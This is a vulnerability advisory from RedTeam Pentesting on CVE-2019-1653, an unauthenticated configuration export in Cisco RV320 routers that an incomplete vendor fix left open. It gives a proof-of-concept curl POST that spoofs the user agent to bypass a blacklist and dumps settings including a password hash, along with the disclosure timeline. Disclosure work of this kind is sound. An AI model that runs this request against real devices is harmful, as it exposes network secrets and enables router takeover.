Cisco RV320 Unauthenticated Configuration Export

`Advisory: Cisco RV320 Unauthenticated Configuration Export  
  
RedTeam Pentesting discovered that the configuration of a Cisco RV320  
router can still be exported without authentication via the device's web  
interface due to an inadequate fix by the vendor.  
  
  
Details  
=======  
  
Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others  
Affected Versions: 1.4.2.15 through 1.4.2.20  
Fixed Versions: none  
Vulnerability Type: Information Disclosure  
Security Risk: high  
Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info  
Vendor Status: working on patch  
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-003  
Advisory Status: published  
CVE: CVE-2019-1653  
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1653  
  
  
Introduction  
============  
  
"Keep your employees, your business, and yourself productive and  
effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal  
choice for any small office or small business looking for performance,  
security, and reliability in its network."  
(from the Cisco RV320 product page [1])  
  
  
More Details  
============  
  
The Cisco RV320 Dual Gigabit WAN VPN Router provides a web-based  
configuration interface, which is implemented in various CGI programs in  
the device's firmware. Access to this web interface requires prior  
authentication using a username and password. Previously, RedTeam  
Pentesting identified a vulnerability (rt-sa-2018-002) [2] in the CGI  
program:  
  
/cgi-bin/config.exp  
  
By issuing an HTTP GET request to this program, it was possible to  
export a router's configuration without providing any prior  
authentication. This vulnerability was adressed in firmware version  
1.4.2.19 published by Cisco [3].  
  
RedTeam Pentesting discovered that the CGI program in the patched  
firmware is still vulnerable. By performing a specially crafted HTTP  
POST request, attackers are still able to download the router's  
configuration. The user agent "curl" is blacklisted by the firmware and  
must be adjusted in the HTTP client. Again, exploitation does not  
require any authentication.  
  
  
Proof of Concept  
================  
  
A device's configuration can be retrieved by issuing an HTTP POST request  
to the vulnerable CGI program (output shortened):  
  
------------------------------------------------------------------------  
$ curl -s -k -A kurl -X POST --data 'submitbkconfig=0' \  
'https://192.168.1.1/cgi-bin/config.exp'  
####sysconfig####  
[VERSION]  
VERSION=73  
MODEL=RV320  
SSL=0  
IPSEC=0  
PPTP=0  
PLATFORMCODE=RV0XX  
[...]  
[SYSTEM]  
HOSTNAME=router  
DOMAINNAME=example.com  
DOMAINCHANGE=1  
USERNAME=cisco  
PASSWD=066bae9070a9a95b3e03019db131cd40  
[...]  
------------------------------------------------------------------------  
  
  
Workaround  
==========  
  
Prevent untrusted clients from connecting to the device's web server.  
  
  
Fix  
===  
  
None  
  
  
Security Risk  
=============  
  
This vulnerability is rated as a high risk as it exposes the device's  
configuration to untrusted, potentially malicious parties. By  
downloading the configuration, attackers can obtain internal network  
configuration, VPN or IPsec secrets, as well as password hashes for the  
router's user accounts. Knowledge of a user's password hash is  
sufficient to log into the router's web interface, cracking of the hash  
is not required. Any information obtained through exploitation of this  
vulnerability can be used to facilitate further compromise of the device  
itself or attached networks.  
  
  
Timeline  
========  
  
2018-09-19 Original vulnerability identified  
2018-09-27 Customer approved disclosure to vendor  
2018-09-28 Vendor notified  
2018-10-05 Receipt of advisory acknowledged by vendor  
2018-10-05 Notified vendor of disclosure date: 2019-01-09  
2018-11-18 List of affected versions provided by vendor  
2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor  
2019-01-22 Firmware 1.4.2.20 released by vendor  
2019-01-23 Advisory (rt-sa-2018-002) published  
  
2019-02-07 Incomplete mitigation of vulnerability identified  
2019-02-08 Proof of concept sent to vendor  
2019-02-08 Receipt of proof of concept acknowledged by vendor  
2019-02-15 Full advisory sent to vendor  
2019-02-15 Notified vendor of disclosure date: 2019-03-27  
2019-03-25 Requested progress update from vendor  
2019-03-25 Vendor requests postponed disclosure  
2019-03-25 Postponement declined  
2019-03-27 Advisory published  
  
  
References  
==========  
  
[1] https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html  
[2] https://www.redteam-pentesting.de/advisories/rt-sa-2018-002  
[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info  
  
  
RedTeam Pentesting GmbH  
=======================  
  
RedTeam Pentesting offers individual penetration tests performed by a  
team of specialised IT-security experts. Hereby, security weaknesses in  
company networks or products are uncovered and can be fixed immediately.  
  
As there are only few experts in this field, RedTeam Pentesting wants to  
share its knowledge and enhance the public knowledge with research in  
security-related areas. The results are made available as public  
security advisories.  
  
More information about RedTeam Pentesting can be found at:  
https://www.redteam-pentesting.de/  
  
Working at RedTeam Pentesting  
=============================  
  
RedTeam Pentesting is looking for penetration testers to join our team  
in Aachen, Germany. If you are interested please visit:  
https://www.redteam-pentesting.de/jobs/  
  
--   
RedTeam Pentesting GmbH Tel.: +49 241 510081-0  
Dennewartstr. 25-27 Fax : +49 241 510081-99  
52068 Aachen https://www.redteam-pentesting.de  
Germany Registergericht: Aachen HRB 14004  
Geschäftsführer: Patrick Hof, Jens Liebchen  
`